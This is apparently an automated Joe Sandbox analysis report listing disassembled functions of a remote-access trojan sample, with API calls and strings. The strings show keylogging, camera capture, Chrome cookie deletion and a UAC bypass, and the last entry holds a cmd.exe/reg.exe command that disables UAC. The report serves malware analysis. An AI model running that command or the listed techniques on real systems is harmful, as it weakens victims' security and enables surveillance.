                                            • RegEnumValueW.ADVAPI32(?,00000000,?,00003FFF,00000000,?,?,00002710), ref: 00413B8B
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Enum$InfoQueryValue
                                            • String ID: [regsplt]$xUG$TG
                                            • API String ID: 3554306468-1165877943
                                            • Opcode ID: e28986e9332aa07a6eea5a33b9e26ecc66a365c7f4eba0dbebaa861638ff76d3
                                            • Instruction ID: b9c9d149d6e4de0395087b00820169330fa190b61d8fc59f93bff107e3475f49
                                            • Opcode Fuzzy Hash: e28986e9332aa07a6eea5a33b9e26ecc66a365c7f4eba0dbebaa861638ff76d3
                                            • Instruction Fuzzy Hash: E5511D72900219AADB11EB95DC85EEFB77DAF04305F10007AF505F6191EF786B48CBA9
                                            Function 0045112C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 110COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • MultiByteToWideChar.KERNEL32(?,00000000,000000FF,?,00000000,00000000,0043F8C8,?,00000000,?,00000001,?,000000FF,00000001,0043F8C8,?), ref: 00451179
                                            • __alloca_probe_16.LIBCMT ref: 004511B1
                                            • MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00451202
                                            • GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00451214
                                            • __freea.LIBCMT ref: 0045121D
                                              • Part of subcall function 00446137: HeapAlloc.KERNEL32(00000000,004352BC,?,?,00438847,?,?,00000000,00476B50,?,0040DE62,004352BC,?,?,?,?), ref: 00446169
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ByteCharMultiWide$AllocHeapStringType__alloca_probe_16__freea
                                            • String ID: PkGNG
                                            • API String ID: 1857427562-263838557
                                            • Opcode ID: bce85a8c1b82420839f42ccd06a1f385e5b5f24b7ce490b3fee2b1b7615d4ae7
                                            • Instruction ID: 2862a929c21554b3885a63a70f5d1b49ed21d23a3953ed9914841bfcf42aa681
                                            • Opcode Fuzzy Hash: bce85a8c1b82420839f42ccd06a1f385e5b5f24b7ce490b3fee2b1b7615d4ae7
                                            • Instruction Fuzzy Hash: 6631D271A0020AABDF24DFA5DC41EAF7BA5EB04315F0445AAFC04D72A2E739CD55CB94
                                            Function 0041B68A Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 91COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 0041361B: RegOpenKeyExW.ADVAPI32 ref: 0041363D
                                              • Part of subcall function 0041361B: RegQueryValueExW.ADVAPI32(?,0040F313,00000000,00000000,?,00000400), ref: 0041365C
                                              • Part of subcall function 0041361B: RegCloseKey.ADVAPI32(?), ref: 00413665
                                              • Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8
                                            • _wcslen.LIBCMT ref: 0041B763
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseCurrentOpenProcessQueryValue_wcslen
                                            • String ID: .exe$8SG$http\shell\open\command$program files (x86)\$program files\
                                            • API String ID: 37874593-122982132
                                            • Opcode ID: 2f5c0ff3d6ea7972f87a7f3e3c7ffac37502a487daadfbe7cd55c680b7f4a926
                                            • Instruction ID: 0af867b59be632d30c611c6dccf556baefac66a2e67262e696d3f692bc65d575
                                            • Opcode Fuzzy Hash: 2f5c0ff3d6ea7972f87a7f3e3c7ffac37502a487daadfbe7cd55c680b7f4a926
                                            • Instruction Fuzzy Hash: 6721A472A002086BDB14BAB58CD6AFE766D9B85328F14043FF405B72C2EE7C9D494269
                                            Function 0041B380 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69networkfileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • InternetOpenW.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0041B3A7
                                            • InternetOpenUrlW.WININET(00000000,http://geoplugin.net/json.gp,00000000,00000000,80000000,00000000), ref: 0041B3BD
                                            • InternetReadFile.WININET(00000000,00000000,0000FFFF,00000000), ref: 0041B3D6
                                            • InternetCloseHandle.WININET(00000000), ref: 0041B41C
                                            • InternetCloseHandle.WININET(00000000), ref: 0041B41F
                                            Strings
                                            • http://geoplugin.net/json.gp, xrefs: 0041B3B7
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Internet$CloseHandleOpen$FileRead
                                            • String ID: http://geoplugin.net/json.gp
                                            • API String ID: 3121278467-91888290
                                            • Opcode ID: ec2fa9bcfafccfafd1fbf535708d95cbeffe80cde5873c94a45d5e3929df77fc
                                            • Instruction ID: bc766ab0241d3587a1949f89688fbc1c60562a782fd7f61c1deed4db1e92f461
                                            • Opcode Fuzzy Hash: ec2fa9bcfafccfafd1fbf535708d95cbeffe80cde5873c94a45d5e3929df77fc
                                            • Instruction Fuzzy Hash: E711EB311053126BD224AB269C49EBF7F9CEF86755F00043EF905A2292DB68DC45C6FA
                                            Function 00411163 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61COMMON
                                            Download Yara Rule
                                            APIs
                                            • std::_Lockit::_Lockit.LIBCPMT ref: 00411170
                                            • int.LIBCPMT ref: 00411183
                                              • Part of subcall function 0040E0C1: std::_Lockit::_Lockit.LIBCPMT ref: 0040E0D2
                                              • Part of subcall function 0040E0C1: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E0EC
                                            • std::_Facet_Register.LIBCPMT ref: 004111C3
                                            • std::_Lockit::~_Lockit.LIBCPMT ref: 004111CC
                                            • __CxxThrowException@8.LIBVCRUNTIME ref: 004111EA
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: std::_$Lockit$Lockit::_Lockit::~_$Exception@8Facet_RegisterThrow
                                            • String ID: (mG
                                            • API String ID: 2536120697-4059303827
                                            • Opcode ID: 34a51a48ebffab58c1c893f3ae79879d0a70666fb45cbfefdea1ee74b3510b9f
                                            • Instruction ID: 9d9da6683174d9a5c92fa95d325e3547e0845688fcbb555b93a4fb26f280994d
                                            • Opcode Fuzzy Hash: 34a51a48ebffab58c1c893f3ae79879d0a70666fb45cbfefdea1ee74b3510b9f
                                            • Instruction Fuzzy Hash: 1411EB32900518A7CB14BB9AD8058DEBB79DF44354F10456FBE04A72D1DB789D40C7D9
                                            Function 0041B2C3 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 61COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 0041BFB7: GetCurrentProcess.KERNEL32(?,?,?,0040DAAA,WinDir,00000000,00000000), ref: 0041BFC8
                                              • Part of subcall function 004135A6: RegOpenKeyExA.ADVAPI32(80000001,00000400,00000000,00020019,?), ref: 004135CA
                                              • Part of subcall function 004135A6: RegQueryValueExA.ADVAPI32 ref: 004135E7
                                              • Part of subcall function 004135A6: RegCloseKey.ADVAPI32(?), ref: 004135F2
                                            • StrToIntA.SHLWAPI(00000000), ref: 0041B33C
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: CloseCurrentOpenProcessQueryValue
                                            • String ID: (32 bit)$ (64 bit)$CurrentBuildNumber$ProductName$SOFTWARE\Microsoft\Windows NT\CurrentVersion
                                            • API String ID: 1866151309-2070987746
                                            • Opcode ID: 739a84b6b521fba7f3deec685196c40b2f0f20dc19e43594882229fa67cbe478
                                            • Instruction ID: 0537cd1ef0e49ffa1b211e53375311a7de90e31f2ded896f28e78de68f6ce99c
                                            • Opcode Fuzzy Hash: 739a84b6b521fba7f3deec685196c40b2f0f20dc19e43594882229fa67cbe478
                                            • Instruction Fuzzy Hash: 42112370A4010566C704B3668C87EFF77198B95314F94013BF856A21E2FB6C599683AE
                                            Function 0043A35A Relevance: 10.6, APIs: 7, Instructions: 60COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • GetLastError.KERNEL32(?,?,0043A351,004392BE), ref: 0043A368
                                            • ___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0043A376
                                            • ___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0043A38F
                                            • SetLastError.KERNEL32(00000000,?,0043A351,004392BE), ref: 0043A3E1
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorLastValue___vcrt_
                                            • String ID:
                                            • API String ID: 3852720340-0
                                            • Opcode ID: eac7a4b750c305e7b0904a447f782895729b7b2cae8ca2bab40c67d71c469531
                                            • Instruction ID: 5d53a0da36a7034647469206452edf011e0dcb0cee8899775f26e7a14c982385
                                            • Opcode Fuzzy Hash: eac7a4b750c305e7b0904a447f782895729b7b2cae8ca2bab40c67d71c469531
                                            • Instruction Fuzzy Hash: 7F01283214C3519EA61526796C86A6B2648EB0A7B9F30133FF918815F1EF594C90514D
                                            Function 004075B0 Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 59COMMON
                                            Download Yara Rule
                                            APIs
                                            • CoInitializeEx.OLE32(00000000,00000002), ref: 004075D0
                                              • Part of subcall function 004074FD: _wcslen.LIBCMT ref: 00407521
                                              • Part of subcall function 004074FD: CoGetObject.OLE32(?,00000024,00466518,00000000), ref: 00407582
                                            • CoUninitialize.OLE32 ref: 00407629
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: InitializeObjectUninitialize_wcslen
                                            • String ID: C:\Program Files (x86)\Internet Explorer\iexplore.exe$[+] ShellExec success$[+] before ShellExec$[+] ucmCMLuaUtilShellExecMethod
                                            • API String ID: 3851391207-2922778296
                                            • Opcode ID: 511e675c99acabaccc32e6a32445821ea963e9a83317c60cb45550512dba77c0
                                            • Instruction ID: 681a2da4e9d4b9e6b45db6330fec0c9e961fb52a18ca78f8243115a9baea1a6b
                                            • Opcode Fuzzy Hash: 511e675c99acabaccc32e6a32445821ea963e9a83317c60cb45550512dba77c0
                                            • Instruction Fuzzy Hash: B201D272B087016BE2245B25DC0EF6B7758DB81729F11083FF902A61C2EBA9BC0145AB
                                            Function 0040BAA1 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Cookies), ref: 0040BADD
                                            • GetLastError.KERNEL32 ref: 0040BAE7
                                            Strings
                                            • [Chrome Cookies not found], xrefs: 0040BB01
                                            • \AppData\Local\Google\Chrome\User Data\Default\Cookies, xrefs: 0040BAA8
                                            • [Chrome Cookies found, cleared!], xrefs: 0040BB0D
                                            • UserProfile, xrefs: 0040BAAD
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: DeleteErrorFileLast
                                            • String ID: [Chrome Cookies found, cleared!]$[Chrome Cookies not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Cookies
                                            • API String ID: 2018770650-304995407
                                            • Opcode ID: 3ac18cd69eb512cfe3046ffff68c330a49271f1a171cc2acfba67e1dc9669370
                                            • Instruction ID: 6bc0ec4de36c0471385c24d45a27137009bd471b3f80e31671ebbef4da92dce6
                                            • Opcode Fuzzy Hash: 3ac18cd69eb512cfe3046ffff68c330a49271f1a171cc2acfba67e1dc9669370
                                            • Instruction Fuzzy Hash: 08018F31A402095ACA04BBBACD5B8BE7724E912714F50017BF802726E6FE7D5A059ADE
                                            Function 0044333A Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 38libraryloaderCOMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,PkGNG,004432EB,00000003,PkGNG,0044328B,00000003,0046E948,0000000C,004433E2,00000003,00000002), ref: 0044335A
                                            • GetProcAddress.KERNEL32(00000000,CorExitProcess,?,?,?,PkGNG,004432EB,00000003,PkGNG,0044328B,00000003,0046E948,0000000C,004433E2,00000003,00000002), ref: 0044336D
                                            • FreeLibrary.KERNEL32(00000000,?,?,PkGNG,004432EB,00000003,PkGNG,0044328B,00000003,0046E948,0000000C,004433E2,00000003,00000002,00000000,PkGNG), ref: 00443390
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: AddressFreeHandleLibraryModuleProc
                                            • String ID: CorExitProcess$PkGNG$mscoree.dll
                                            • API String ID: 4061214504-213444651
                                            • Opcode ID: cc52f7ac488aa55dad4b7db89aaf695af0dd1fe717ea7d7a85019ca2162c21c0
                                            • Instruction ID: b4f1316bd170a33105784e50650a9bde6d9e9410588fddf83d5a1a7bf10dc45d
                                            • Opcode Fuzzy Hash: cc52f7ac488aa55dad4b7db89aaf695af0dd1fe717ea7d7a85019ca2162c21c0
                                            • Instruction Fuzzy Hash: 6AF0A430A00208FBDB149F55DC09B9EBFB4EF04713F0041A9FC05A2261CB349E40CA98
                                            Function 0043AADC Relevance: 9.3, APIs: 6, Instructions: 284COMMON
                                            Download Yara Rule
                                            APIs
                                            • __allrem.LIBCMT ref: 0043AC69
                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043AC85
                                            • __allrem.LIBCMT ref: 0043AC9C
                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043ACBA
                                            • __allrem.LIBCMT ref: 0043ACD1
                                            • __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0043ACEF
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
                                            • String ID:
                                            • API String ID: 1992179935-0
                                            • Opcode ID: 324a3f8db7a4af308d45995ace6313bc09822ddcf2faf4fc4501ccf235525b64
                                            • Instruction ID: 0cac597ccac2158415e78c81c2c349525783c2449c9f0a8280db41f57d0428da
                                            • Opcode Fuzzy Hash: 324a3f8db7a4af308d45995ace6313bc09822ddcf2faf4fc4501ccf235525b64
                                            • Instruction Fuzzy Hash: CC812B72640706ABE7209F29CC41B5BB3A9EF48324F24552FF590D7781EB7CE9108B5A
                                            Function 00404371 Relevance: 9.2, APIs: 1, Strings: 5, Instructions: 206sleepCOMMON
                                            Download Yara Rule
                                            APIs
                                            • Sleep.KERNEL32(00000000,?), ref: 004044C4
                                              • Part of subcall function 00404607: __EH_prolog.LIBCMT ref: 0040460C
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: H_prologSleep
                                            • String ID: CloseCamera$FreeFrame$GetFrame$HNG$OpenCamera
                                            • API String ID: 3469354165-3054508432
                                            • Opcode ID: 92d61490a4b2957e555669ba2acdc23e21a020ddb9508585be9bb95eb31fcb07
                                            • Instruction ID: 62663cdee79800d8a54f028f5a980ee1c6790ad11611a7059aef087dab150aaf
                                            • Opcode Fuzzy Hash: 92d61490a4b2957e555669ba2acdc23e21a020ddb9508585be9bb95eb31fcb07
                                            • Instruction Fuzzy Hash: 5C51E1B1A042116BCA14FB369D0A66E3755ABC5748F00053FFA06677E2EF7C8A45839E
                                            Function 004458F9 Relevance: 9.2, APIs: 6, Instructions: 200COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: __cftoe
                                            • String ID:
                                            • API String ID: 4189289331-0
                                            • Opcode ID: 73f4726c011166e6bdcb5754414c0ade346116ed487fada7dd59cfb8b2f8224a
                                            • Instruction ID: 6c78d09a6f5169ef6f707262af513c71f712f2c279f5202ad8aecd4a6012115a
                                            • Opcode Fuzzy Hash: 73f4726c011166e6bdcb5754414c0ade346116ed487fada7dd59cfb8b2f8224a
                                            • Instruction Fuzzy Hash: D951EA72900A05ABFF209B59CC81FAF77A9EF49334F14421FF515A6293DB39D900866C
                                            Function 0044A004 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 305COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: __alldvrm$_strrchr
                                            • String ID: PkGNG
                                            • API String ID: 1036877536-263838557
                                            • Opcode ID: 6e4ce0a9cd107544135c8758f381171db584a835852a0c7515be2cd765a07ccf
                                            • Instruction ID: 0200e234d7a66e392568480c50467de0d06b46efb2a76a7ba0b74d69ca9a70f2
                                            • Opcode Fuzzy Hash: 6e4ce0a9cd107544135c8758f381171db584a835852a0c7515be2cd765a07ccf
                                            • Instruction Fuzzy Hash: 57A166319843869FFB21CF58C8817AEBBA1FF25304F1441AFE9859B382C27D8951C75A
                                            Function 00448215 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE
                                            Download Yara Rule
                                            APIs
                                            • GetLastError.KERNEL32(?,0043F720,0043A7F5,0043F720,00474EF8,PkGNG,0043CE15,FF8BC35D,00474EF8,00474EF8), ref: 00448219
                                            • _free.LIBCMT ref: 0044824C
                                            • _free.LIBCMT ref: 00448274
                                            • SetLastError.KERNEL32(00000000,?,?,00000000), ref: 00448281
                                            • SetLastError.KERNEL32(00000000,?,?,00000000), ref: 0044828D
                                            • _abort.LIBCMT ref: 00448293
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ErrorLast$_free$_abort
                                            • String ID:
                                            • API String ID: 3160817290-0
                                            • Opcode ID: d577d612c1ffbc00090520c66a2c794f4cb9603406b177c38f93d9dbc2276fca
                                            • Instruction ID: 1e51d54565af68f960eede883612623578b8b4ccb82fc25c91f14e3db4823c68
                                            • Opcode Fuzzy Hash: d577d612c1ffbc00090520c66a2c794f4cb9603406b177c38f93d9dbc2276fca
                                            • Instruction Fuzzy Hash: 15F0F935104F006AF611332A6C05B5F2515ABC276AF25066FF92892292DFACCC4581AD
                                            Function 0041AAA6 Relevance: 9.0, APIs: 6, Instructions: 45serviceCOMMON
                                            Download Yara Rule
                                            APIs
                                            • OpenSCManagerW.ADVAPI32(00000000,00000000,00000020,00000000,00000001,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAB5
                                            • OpenServiceW.ADVAPI32(00000000,00000000,00000020,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAC9
                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAD6
                                            • ControlService.ADVAPI32(00000000,00000001,?,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAE5
                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAF7
                                            • CloseServiceHandle.ADVAPI32(00000000,?,?,?,?,?,?,0041A623,00000000), ref: 0041AAFA
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Service$CloseHandle$Open$ControlManager
                                            • String ID:
                                            • API String ID: 221034970-0
                                            • Opcode ID: bc8933c3fd8e2fa998b2246ab8c72ed9b0f5170f60f0245b371609b51ac54b8f
                                            • Instruction ID: 651adf303b3d55a6ad93a9774d9c6d096703db2647e4265c62a250da7e042a32
                                            • Opcode Fuzzy Hash: bc8933c3fd8e2fa998b2246ab8c72ed9b0f5170f60f0245b371609b51ac54b8f
                                            • Instruction Fuzzy Hash: 68F0C231541218ABD711AF25AC49EFF3B6CDF45BA2F000026FE0992192DB68CD4695E9
                                            Function 0041AA4A Relevance: 9.0, APIs: 6, Instructions: 39serviceCOMMON
                                            Download Yara Rule
                                            APIs
                                            • OpenSCManagerW.ADVAPI32(00000000,00000000,00000010,00000000,00000001,?,0041A6A0,00000000), ref: 0041AA53
                                            • OpenServiceW.ADVAPI32(00000000,00000000,00000010,?,0041A6A0,00000000), ref: 0041AA68
                                            • CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA75
                                            • StartServiceW.ADVAPI32(00000000,00000000,00000000,?,0041A6A0,00000000), ref: 0041AA80
                                            • CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA92
                                            • CloseServiceHandle.ADVAPI32(00000000,?,0041A6A0,00000000), ref: 0041AA95
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: Service$CloseHandle$Open$ManagerStart
                                            • String ID:
                                            • API String ID: 276877138-0
                                            • Opcode ID: 9428b136f56b7ac5d2013585799c428180de648bb4d6702bc273cde58ba3a705
                                            • Instruction ID: 9fefcdd13c5f6832e1e8d6374d810b05479d45f16fba084c356bea358aebaaee
                                            • Opcode Fuzzy Hash: 9428b136f56b7ac5d2013585799c428180de648bb4d6702bc273cde58ba3a705
                                            • Instruction Fuzzy Hash: FCF08971101325AFD2119B619C88DFF2B6CDF85BA6B00082AF945921919B68CD49E9B9
                                            Function 00442801 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 133COMMON
                                            Download Yara Rule
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID:
                                            • String ID: PkGNG
                                            • API String ID: 0-263838557
                                            • Opcode ID: 8d454ba49d51131fc87e61242d4279149af29133b98be3a40794271295c3e434
                                            • Instruction ID: 497cf8d2f4a88fd96e7f98feeb1d24cd381d204b534fd1f3fd6e485e43360072
                                            • Opcode Fuzzy Hash: 8d454ba49d51131fc87e61242d4279149af29133b98be3a40794271295c3e434
                                            • Instruction Fuzzy Hash: EA413871A00704BFF324AF79CD41B5EBBA9EB88710F10862FF105DB681E7B999418788
                                            Function 0040B164 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 68timeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetLocalTime.KERNEL32(?,Offline Keylogger Started,004750F0), ref: 0040B172
                                            • wsprintfW.USER32 ref: 0040B1F3
                                              • Part of subcall function 0040A636: SetEvent.KERNEL32(?,?,00000000,0040B20A,00000000), ref: 0040A662
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: EventLocalTimewsprintf
                                            • String ID: [%04i/%02i/%02i %02i:%02i:%02i $Offline Keylogger Started$]
                                            • API String ID: 1497725170-248792730
                                            • Opcode ID: 7ba7107dd0a0becbf17e98e0f4c88f938a843bd542848fefc6ff687fb31ca14d
                                            • Instruction ID: 81b60f5d3581edaaac31e3e44e1e4f5c322996b2d8bf5e7d6f89c643b346fb92
                                            • Opcode Fuzzy Hash: 7ba7107dd0a0becbf17e98e0f4c88f938a843bd542848fefc6ff687fb31ca14d
                                            • Instruction Fuzzy Hash: 82117F72504118AACB18AB96EC558FE77BCEE48315B00012FF506A60E1FF7C9E46C6AC
                                            Function 0040A675 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58sleepfileCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateFileW.KERNEL32(00000000,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0040A6AB
                                            • GetFileSize.KERNEL32(00000000,00000000,?,?,?,0040A74D), ref: 0040A6BA
                                            • Sleep.KERNEL32(00002710,?,?,?,0040A74D), ref: 0040A6E7
                                            • CloseHandle.KERNEL32(00000000), ref: 0040A6EE
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: File$CloseCreateHandleSizeSleep
                                            • String ID: XQG
                                            • API String ID: 1958988193-3606453820
                                            • Opcode ID: 38e21002b9c7a7665831af374e9118a36682828a780468fd2ba8ddd7b6ab83cd
                                            • Instruction ID: 2d5b847f40b6dc6d65e682cb961bc0859910b41d7418e35cc132b68a4a9af338
                                            • Opcode Fuzzy Hash: 38e21002b9c7a7665831af374e9118a36682828a780468fd2ba8ddd7b6ab83cd
                                            • Instruction Fuzzy Hash: AD112B30600740EEE631A7249895A5F3B6AEB41356F48083AF2C26B6D2C6799CA0C35E
                                            Function 0041D50F Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 57registryCOMMON
                                            Download Yara Rule
                                            APIs
                                            Strings
                                            Memory Dump Source
                                            • Source File: 0000001B.00000002.471140688.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_27_2_400000_iexplore.jbxd
                                            Yara matches
                                            Similarity
                                            • API ID: ClassCreateErrorLastRegisterWindow
                                            • String ID: 0$MsgWindowClass
                                            • API String ID: 2877667751-2410386613
                                            • Opcode ID: a7bf03488480a67a5ab74e572dd3e9b3283d69d087452f3b28ffeaf09d6b5029
                                            • Instruction ID: 921741f364e14ac5d494c0d6481b3569f22aad0bbfd2e997b493b5423d792a6e
                                            • Opcode Fuzzy Hash: a7bf03488480a67a5ab74e572dd3e9b3283d69d087452f3b28ffeaf09d6b5029
                                            • Instruction Fuzzy Hash: 910129B1D00219BBDB00DFD5ECC49EFBBBDEA04355F40053AF900A6240E77859058AA4
                                            Function 00407755 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 43processCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,/k %windir%\System32\reg.exe ADD HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA /t REG_DWORD /d 0 /f,00000000,00000000,00000000,08000000,00000000,00000000,?,?), ref: 0040779B
